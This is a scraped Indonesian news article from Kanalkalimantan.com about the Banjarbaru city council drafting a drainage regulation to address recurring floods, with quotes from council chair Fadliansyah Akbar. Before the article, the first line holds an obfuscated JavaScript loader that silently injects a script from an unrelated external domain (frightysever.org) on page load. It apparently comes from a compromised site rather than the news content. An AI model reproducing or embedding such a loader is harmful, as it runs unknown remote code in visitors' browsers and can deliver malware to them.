(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga saat ini tak kunjung terselesaikan di Ibu Kota Provinsi Kalimantan Selatan.
Banjir dan genangan air itu terjadi saat hujan dengan intensitas tinggi melanda Kota Banjarbaru, terbukti dalam dua pekan terakhir.
Pemerintah Kota Banjarbaru didesak serius dalam menangani masalah banjir dan genangan air di jalan tuntas hingga ke akar-akarnya
Baca juga: Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru
Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun tangan dengan menggodok Rancangan Peraturan Daerah (Raperda) tentang sistem drainase.
Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar menyebutkan, selama ini kegiatan pengelolaan sistem drainase di ibu kota Kalsel sudah berjalan sebagai mitigasi bencana banjir.
Kendati demikian, katanya, Raperda inisiatif tentang sistem drainase diusulkan oleh legislator dengan tujuan dapat disinkronisasi bersama kegiatan mitigasi banjir di Kota Banjarbaru.
Baca juga: Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final
“Kaitannya sangat penting dengan mitigasi banjir, saya harapkan mitigasi banjir dengan Raperda sistem drainase bisa saling berkesinambungan,” ujar Fadliansyah Akbar, usai penyampaian tiga Raperda inisiatif di gedung DPRD Banjarbaru, Selasa (30/4/2024) siang.
Lebih lanjut, Fadliansyah mengatakan bahwa dalam Raperda tersebut untuk membangun sebuah drainase harus terlebih dahulu dilakukan klasifikasi khusus.
“Ada klasifikasi khusus, seperti drainase mana saja yang harus dibangun secara tuntas atau menyeluruh, dan drainase mana yang bisa dikerjakan sepotong saja,” sebut dia.
Baca juga: DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan
Pasalnya, kata dia, banyak ditemui titik lokasi yang ada di Kota Banjarbaru tidak merata punya saluran drainase.
“Banyak saya mendapati yang setengah-setengah jadi air drainase tidak sampai ke ujung, malah terpotong di tengah jalan, sehingga saluran mampetnya meluber ke jalan,” ungkapnya.
Alhasil sambungnya, melalui Raperda inisiatif yang diusulkan anggota dewan, diharapkan bisa menjawab kebutuhan SKPD terkait dalam menangani persoalan banjir dan genangan air yang terjadi di Ibu Kota Kalsel. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.